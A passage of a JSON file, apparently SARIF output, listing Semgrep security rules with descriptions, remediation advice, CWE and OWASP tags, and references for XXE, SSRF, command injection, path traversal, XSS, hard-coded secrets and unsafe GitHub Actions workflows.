(DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe","id":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","name":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","id":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","name":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec)\n - [https://www.stackhawk.com/blog/php-command-injection/](https://www.stackhawk.com/blog/php-command-injection/)\n - [https://brightsec.com/blog/code-injection-php/](https://brightsec.com/blog/code-injection-php/)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec","id":"php.lang.security.tainted-exec.tainted-exec","name":"php.lang.security.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"help":{"markdown":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations](https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object](https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object)\n - [https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range](https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range)\n","text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","id":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","name":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting","id":"java.servlets.security.audit.url-rewriting.url-rewriting","name":"java.servlets.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"help":{"markdown":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","id":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","name":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n","text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","id":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","name":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://certificate.transparency.dev/](https://certificate.transparency.dev/)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct","id":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","name":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-ct.ATS-consider-ct"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","id":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","name":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","id":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","name":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","id":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","name":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call","id":"python.lang.security.dangerous-system-call.dangerous-system-call","name":"python.lang.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the 